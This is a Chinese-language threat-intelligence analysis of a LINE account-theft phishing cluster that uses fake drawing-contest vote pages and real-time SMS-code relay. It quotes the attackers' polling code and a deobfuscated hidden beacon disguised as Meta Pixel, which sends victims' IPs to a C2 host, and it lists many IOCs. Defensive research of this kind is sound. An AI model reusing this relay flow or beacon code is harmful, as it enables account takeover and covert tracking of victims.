LINE「繪畫比賽投票」盜號站技術拆解:human-in-the-loop OTP 中繼
調查日期 2026-09-26。文中的規模數字都是當天的快照,這類叢集的域名每週都在輪替。
手法定性
password-less 釣魚。頁面不收密碼,只收 手機號 + 簡訊驗證碼,
對應的是 LINE 的簡訊碼新裝置登入路徑(非密碼登入、非 OAuth、非 QR 裝置授權)。
攻擊者拿 phone + SMS code 在自有裝置發起新裝置登入,受害者從頭到尾不知道自己填的是 LINE 真正的登入驗證碼。
頁面本身也刻意不提 LINE:無 LINE 品牌、無 QR code,藉口是「手機號碼用於本次投票聯繫」。
受害者看到的就是這種頁面——品牌 ITEDA 創意繪畫比賽、綠底水彩、一排兒童畫作加上假的票數與排名,每張作品下面一個綠色「投票」鈕(截圖為 sdiet.eu.cc 世代,2026-09-26):

擷取條件:iPhone Safari UA + Accept-Language: zh-TW,僅 GET,不執行頁面 JS、不提交欄位。
未觀察到 UA/geo cloaking:美國出口與台灣出口拿到相同內容。反分析改由一支偽裝成 Meta Pixel 的指紋採集載荷負責(見後文)。
前端狀態機(review.js)— 判定為人工即時中繼的決定性證據
點「投票」後導向的驗證頁,表單直接把號碼與碼 POST 給後台 PHP,URL 上還帶著一枚 per-flow token:
<form method="post"
action="/auth/verify.php?u=1&id=1&poll=2&flow=ed06417e730f52394401c8306d424e10">
<!-- 頁尾: 手機號碼用於本次投票聯繫。 -->review.js 裡的狀態訊息與重輸碼彈窗,是原封不動的攻擊者程式碼:
const messages = {
awaiting_code: '請輸入簡訊驗證碼',
pending: '簡訊驗證碼已提交,等待人工確認',
approved: '驗證成功',
rejected: '驗證未通過,請重新輸入簡訊驗證碼',
completed: '投票已完成'
};
// 後台可即時推播 code_prompt_kind:'reentry',把彈窗標題切成「請重新輸入」
modalTitle.textContent =
kind === 'reentry' ? '請重新輸入簡訊驗證碼' : '請輸入簡訊驗證碼';
// 每 3 秒輪詢後台,失敗時退避 2 / 3 / 5 秒
function schedule(delay = 3000) { /* ... */ }
const result = await query('/api/request-status.php?request_id='
+ encodeURIComponent(form.dataset.requestId)
+ '&poll=' + encodeURIComponent(form.dataset.poll), {}, controller);
schedule(failures ? [2000, 3000, 5000][Math.min(failures - 1, 2)] : 3000);判讀:rejected → 重輸碼 這條轉移在自動化收割場景不存在——沒有理由「拒絕」一組已收下的
OTP 再索取新碼。唯一合理成因是後台端登入嘗試失敗(碼過期/需要第二因子),
需受害者補發新鮮 OTP。即後台為真人與 LINE 登入流程即時競速。
佐證兩點:
- 每 3 秒輪詢
/api/request-status.php(失敗時退避 2/3/5 秒):把受害者滯留於頁面,維持 OTP 時效窗。 validCode()過濾111111、121212、123123這類重複碼與123456、654321這類連號:阻擋以測試碼探測流程。
收單端點(三套 kit 對應不同實作):
- Kit A(Vue SPA,
繪畫大公投):SPA 路由/auth/verify、/auth/second、/vote、/users。頁面同時載入偽 Meta Pixel 遙測載荷(見下一節)。 - Kit B(PHP + session,
繪畫比賽 · test):/auth/verify.php(action=send/submit_code/complete)、/api/request-status.php輪詢、/api/visit.php訪客回報。 - Kit C(PHP,
寶寶創意繪畫):/vote-verify.php、/api/external_verify.php?action=verify|commit、/api/vote.php(action=send_code/vote)。CSS 直接用 LINE 品牌色,作品圖上傳日期到 9/23、9/24,仍在活躍營運。
Kit B 的 visit.php 值得單獨看:頁面一 visible 就把 poll_id、path、referrer(截 500 字)連同一組 csrf / proof 回報後台——受害者還沒填任何欄位,後台就已經知道「有人正在看這條連結」,用來即時盯著誰上鉤。
Kit C 有一個 verifyMode 開關,值可為 standard / api / line / line_direct:
api模式在受害者還在輸入手機號時就先打external_verify.php?action=commit,讓後台預先對該號發起登入、把回傳的mailaddress綁到這支手機號;等碼填進來再打?action=verify。整個過程有一條__chatSend()通道把每一步狀態即時推給後台的操作員對話視窗——又一個人工在線的證據。line/line_direct模式則直接跳過驗證、只記投票,是用來混充「正常投票」的幌子分支。
偽裝成 Meta Pixel 的 IP-sync 遙測載荷
Kit A 的頁面在畫面外掛一個看不見的 iframe(left:-1000px; width:0; height:0),
裡面載入 /MetaPixel/MetaPixel.html → pixel.js(約 50 KB,重度混淆)。
名字借用 Meta Pixel,但它跟 Meta 沒有任何關係。
混淆手法(靜態還原、未執行):字串被拆成整數陣列再用 XOR/位元打包還原,
主體是一段 new Function(atob(...))(約 30 KB)裡再包兩個 base64 模組,
其中一個自帶一份 SHA-256、用 BigInt 做運算把邏輯藏起來。
第二階段路徑同樣是打包字串:/MetaPixel/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js。
剝掉混淆後,核心其實就這幾行(我把混淆變數名還原、邏輯照抄):
// 取受害者公網 IP
const ip = await (await fetch("https://ipv4.icanhazip.com")).text();
// 從 UA 解出 OS 與版本 → "IOS 18.1" / "Android 14.0" / "Windows 10.0" ...
const deviceVersion = parseOsFromUserAgent(navigator.userAgent);
// 回報給 C2,channelCode 是硬編碼的投放通路代碼
await fetch("https://basic-being-basic.top/api/ip-sync/sync", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
channelCode: "CHMK6IG08F42496C22",
ip, deviceVersion,
domain: window.location.hostname
})
});
setInterval(sync, 10000); // 每 10 秒回報一次
setInterval(() => parent.location.reload(), 180000); // 每 3 分鐘 reload 父頁也就是說,這支「Pixel」是一支歸因遙測 beacon:
送給 C2 的 body 長這樣:
{ "channelCode": "<投放通路代碼>", "ip": "<受害者公網 IP>",
"deviceVersion": "IOS 18.1", "domain": "<當前釣魚域名>" }channelCode(樣本裡看到 CHMK6IG08F42496C22、YBRD8UXT6ZF59 這類硬編碼常數)
是投放通路 / 分潤代碼:這是一套會分帳的體系,後台要知道每個受害者是從哪條散布管道來的。
載荷還每 180 秒 reload 一次父頁,把受害者黏在頁面上。
所以這支「Pixel」的用途不是網頁分析,而是把受害者的 IP、裝置、來源通路即時回報給 C2,
好和他等一下填進來的手機號對起來。
後台結構(自 Vue bundle 靜態還原,未登入)
bundle 內嵌後台路由:
/daoline/login
/daoline/accounts // 被盜帳號清單
daoline = 「盜 LINE」拼音,攻擊者自命名。
後台 UI 字串(自 bundle 抽出):
后台管理登录 · 工作台 · 子账号管理 · 号台 · 语音提示 · 授權投票 · 退出登录
歸因推論:
- 後台 UI 為簡體、受害者頁面為繁體 → 操作端中國大陸、目標台灣。[strong]
- 存在
子账号管理/号台→ 多操作員、多租戶體系 = phishing-as-a-service,非單人。[strong]
唯讀狀態探測(僅讀 HTTP 狀態碼,未取資料):
admin.<redacted> → 403 (operator IP allowlist)
<kitA>/daoline/login → 200 (同源 SPA 公開登入牆)
<kitA>/daoline/accounts → 404 (資料在登入後 API 之後)
/daoline/login 另以 headless Chrome 載入一次截圖,確認是 后台管理登录 頁(账号/密码/登录,簡體字);未輸入任何欄位、未點登入、未往下一頁走:

基礎設施測繪
- TLS SAN 洩漏:對憑證主機名不符的站發請求,錯誤訊息列出同憑證全部 SAN。 對 42 台主機收集後取得 73 個新名稱:26 個存活(含 2 個 admin 後台域名)、47 個已註冊但尚未啟用的預備域名(見下)。
- 叢集規模(2026-09-26 快照):100 存活主機 / 32 IP;命名模式
eu.cc+ 4–6 隨機小寫字母, 另有.shop/.bond/.top變體。 - 這些
eu.cc都掛在同一組 DNS:a.rsp-dns.com/b.rsp-dns.com(SOAmaster.julydns.com)——廉價/免費子網域服務,是整個叢集的供應管道。 - C2 遙測:
basic-being-basic.top/api/ip-sync/sync(見上一節)。 - 業務外溢:同一批憑證也掛著仿冒 OKX 的假加密貨幣交易所。
預註冊、尚未啟用的輪替庫存
同一組憑證上,除了 26 個當時存活的域名,還有 47 個已註冊但還沒指向任何主機的 eu.cc 子網域。
這是攻擊者的輪替庫存:現役站被封或被盜號受害者檢舉後,隨時可以把 DNS 指過去接手。
把它們先列出來,是為了讓封鎖清單能跑在啟用之前——這是這條攻擊鏈少數能「先發制人」的地方。
bijvw.eu.cc bive.eu.cc brgr.eu.cc btds.eu.cc cbje.eu.cc dbfzs.eu.cc
dfbe.eu.cc ebfb.eu.cc efvb.eu.cc emwz.eu.cc erdvg.eu.cc etnt.eu.cc
evwb.eu.cc fhfg.eu.cc hdks.eu.cc iows.eu.cc jnkbe.eu.cc kdhv.eu.cc
kdjv.eu.cc kjsf.eu.cc llisw.eu.cc mtnr.eu.cc mwoq.eu.cc ncgve.eu.cc
njvd.eu.cc nvjk.eu.cc qpive.eu.cc qpiw.eu.cc revda.eu.cc rewg.eu.cc
rnjog.eu.cc rvcx.eu.cc rwbm.eu.cc sdkjv.eu.cc tyxcn.eu.cc vbjs.eu.cc
vdje.eu.cc veniw.eu.cc vetrv.eu.cc veuk.eu.cc vkbj.eu.cc vrett.eu.cc
vrlxcr.eu.cc vwkd.eu.cc wkdm.eu.cc wudi.eu.cc xuvet.eu.cc
(截至 2026-09-26 覆核,這 47 個都還沒有 A 記錄;名字本身沒有語意,就是隨機字母。)
IOC:真實網域與公網 IP(2026-09-26 快照)
以下都是當天 DNS/HTTP 唯讀確認過的存活主機。域名每週輪替,看到時可能已死或已換 IP, 但 IP/ASN 群集相對穩定,適合直接進封鎖清單。被盜帳號清單這種受害者資料不在此列,也不會公開。
主機集中在幾個香港廉價 VPS 的 IP 上,clustering 很明顯:
| IP | 掛的主機數 | ASN / 主機商 |
|---|---|---|
103.85.227.115 |
13 | AS401696 cognetcloud(HK) |
207.56.20.196 |
10 | .bond 群集 |
116.204.132.44 |
8 | AS401701 cognetcloud(HK) |
103.233.252.181 |
7 | — |
103.158.228.150 |
6 | — |
103.121.95.120 |
5 | AS401701 FOJIP(HK) |
103.97.178.237 |
5 | — |
216.173.67.107 |
5 | — |
103.185.249.111 |
4 | 後台所在(見下) |
156.238.227.49 |
4 | AS402506 Zenixcloud |
103.116.247.56 |
4 | — |
199.102.216.161 |
4 | AS402506 Zenixcloud |
假 LINE 登入子網域(掛在 line. 前綴下,直接仿冒 LINE 登入):
line.hfue.eu.cc 103.85.227.115
line.iteadq.lat 103.185.249.111
line.itedae.me 103.158.228.150
line.itedam.me 103.158.228.150
line.iteduah.me 103.85.227.31
line.iteduas.shop 103.158.228.150
line.ithuki.shop 116.204.132.44
管理後台(/daoline/ 之外、operator 自用,對外 403):
admin.kjvw.eu.cc 103.185.249.111
admin.sblmm.shop 103.185.249.111
同一營運者的假 OKX 交易所(與本叢集共用憑證,掛 Cloudflare):
okxcoinx.top coinxdex.top coinxtrc.top
投票釣魚站(domain IP,88 個):
aduhey.my 64.118.150.107 askw.shop 103.85.227.115
awayaxfut.bond 207.56.20.196 bhuntre.com 103.117.136.134
cbej.eu.cc 103.121.95.120 cbks.eu.cc 103.85.227.115
cbnm.eu.cc 103.97.178.237 ciwtr.eu.cc 156.238.227.49
clsm.eu.cc 103.121.95.120 cnlw.eu.cc 38.76.193.162
cveow.eu.cc 116.204.132.44 drsv.eu.cc 116.204.132.44
dsvds.eu.cc 156.238.227.49 erbf.eu.cc 103.85.227.115
etlhsse.eu.cc 103.233.252.181 eukks.eu.cc 103.233.252.181
fewss.eu.cc 216.173.67.107 fttpperformance.bond 207.56.20.196
heyluck.xyz 64.118.150.107 hfue.eu.cc 103.85.227.115
hksud.eu.cc 116.204.132.44 husdf.eu.cc 156.238.230.118
husie.eu.cc 103.85.227.115 ieow.eu.cc 103.116.247.56
ieskss.eu.cc 103.233.252.181 iiosp.eu.cc 103.121.95.120
ioea.eu.cc 38.76.193.162 ioow.eu.cc 103.85.227.115
itdrls.eu.cc 103.233.252.181 iteadq.lat 103.185.249.111
itedaa.me 114.134.187.246 itedae.me 103.158.228.150
itedam.me 103.158.228.150 itedua.me 103.233.252.167
iteduah.me 103.85.227.31 iteduas.shop 103.158.228.150
ithhks.eu.cc 103.233.252.181 ithlss.com 103.233.252.181
ithuki.shop 116.204.132.44 ithuky.eu.cc 156.238.230.118
itllsw.eu.cc 103.233.252.181 itysk.eu.cc 156.238.230.118
iwne.eu.cc 103.97.178.237 jkazx.eu.cc 116.204.132.44
kstp.eu.cc 104.21.9.226 lfhe.eu.cc 199.102.216.161
lsio.eu.cc 103.85.227.115 ltwjdr.com 104.21.95.27
mouthjhvgrh.bond 207.56.20.196 ncle.eu.cc 216.173.67.107
pjtxh.eu.cc 116.204.132.44 ploe.eu.cc 103.85.227.115
politicsxmtw.bond 207.56.20.196 positionfpmm.bond 207.56.20.196
qosiv.eu.cc 216.173.67.107 qwio.eu.cc 156.238.227.64
regionzhaej.bond 207.56.20.196 rehe.eu.cc 103.85.227.115
relatevebne.bond 207.56.20.196 rgns.eu.cc 103.116.247.56
rjvn.eu.cc 199.102.216.161 rnts.eu.cc 103.116.247.56
rtdcv.eu.cc 216.173.67.107 rtyu.shop 103.121.95.120
sbpgonscore.bond 207.56.20.196 scir.eu.cc 103.116.247.56
sdiet.eu.cc 156.238.230.31 timwx.eu.cc 38.76.193.162
vbkjd.eu.cc 199.102.216.161 vjbh.shop 199.102.216.161
vnbru.eu.cc 156.238.227.49 vnue.eu.cc 103.97.178.237
vwbo.eu.cc 103.85.227.115 vwsa.qpon 103.85.227.115
wcjk.eu.cc 156.238.227.64 wercv.eu.cc 156.238.227.14
wetret.eu.cc 103.85.227.115 whatevergjgv.bond 207.56.20.196
wkso.eu.cc 103.97.178.237 wrbc.eu.cc 156.238.227.49
wrtq.eu.cc 156.238.230.31 xfgnb.eu.cc 116.204.132.44
xulwk.eu.cc 216.173.67.107 yeisw.eu.cc 103.97.178.237
zemgsee.bond 207.56.20.196 zvxdcv.eu.cc 103.121.95.120
bhuntre.com 103.117.136.134 ltwjdr.com 104.21.95.27
(kstp.eu.cc、ltwjdr.com 走 Cloudflare,104.21.*/172.67.* 是 Cloudflare edge、非源站。
bhuntre.com 是仿冒台灣正規比賽平台「獎金獵人 bhuntr.com」的變體。)
其他固定指標:C2 basic-being-basic.top/api/ip-sync/sync;所有 eu.cc 的 DNS 都是
a.rsp-dns.com / b.rsp-dns.com(SOA master.julydns.com);散布常搭配 reurl.cc、zip1.io、
ssur.cc、my.ppt.cc 等短網址跳板。
OSINT pivot(可重用;含死路)
有效:
- Cofacts GraphQL(
api.cofacts.tw/graphql):第一手活體樣本 URL 最佳來源。 帶瀏覽器 UA(urllib 吃 403),createdAt分頁全抓後本地過濾。 - urlscan.io:
page.ip:"<ip>"反查最強 pivot;page.title:"投票活動"精確命中整叢集。 - AlienVault OTX passive DNS(免 key):反查 C2 帶出新一批。
- TLS SAN 同憑證擴散(見上)。
半死路 / 死路:
- crt.sh 對這批域名查無記錄,但別因此以為憑證不在 CT log 裡——用 certSpotter 的 API
(
api.certspotter.com/v1/issuances?domain=...&expand=dns_names)反而查得到同一批 Let's Encrypt 憑證, 一張憑證上 5~10 個 SAN 全列出來。也就是說「crt.sh 是死路」是 crt.sh 的索引問題,不是 CT 本身; 换個 CT 前端就活了。這點跟先前筆記說的「刻意不進 CT」不同,以實測為準。 - OpenPhish 免費 feed(7 筆)、PhishStats(522)、HackerTarget(覆蓋不足)、 urlscan 匿名不索引 CJK 內文(自由文字 0 命中)——這幾個是真死路。
Detection / IOC
- 網路:
*.eu.cc+/api/request-status.php短輪詢;beacon 打basic-being-basic.top/api/ip-sync/sync;載入/MetaPixel/隱藏 iframe。 - 頁面:無密碼欄、僅索取手機號+簡訊碼、輪詢式「等待審核」UI、
daoline路由前綴。 - 可先發制人:上面 47 個預註冊
eu.cc可直接進封鎖清單,不必等它們啟用。 - 存活域名 / IP / 後台域名見上一節 IOC。唯一不公開的是被盜帳號清單這類受害者資料——那要走 165/刑事局/LINE 官方,由執法機關持票取證。
如果你點過這種連結
- LINE →「設定」→「我的帳號」,檢查登入中的裝置,踢掉不認識的。
- 在同一頁關閉「允許自其他裝置登入」,更改密碼,並綁定 Apple 或 Google 帳號。
- 已經登不進去的話,用 LINE 官方客服表單申訴。
- 通知你的聯絡人:從你帳號發出的投票連結都不要點。
LINE 官方口訣:停、查、碼不給。任何網站、任何人要簡訊驗證碼,都不要給。 收到「幫忙投票」的訊息,打電話跟對方本人確認——他的帳號可能已經被盜了。
界線
僅做被動 OSINT 與唯讀 GET;後台結構全部由攻擊者自身 bundle 靜態還原。 未登入後台、未提交任何憑證、未取被盜帳號清單、未對 403 做繞過—— 未授權存取他人系統即使對象為犯罪者仍違法(刑法 §358 / §359),且會污染報案證據鏈。 被盜帳號實資料的正當取證途徑為執法機關持票。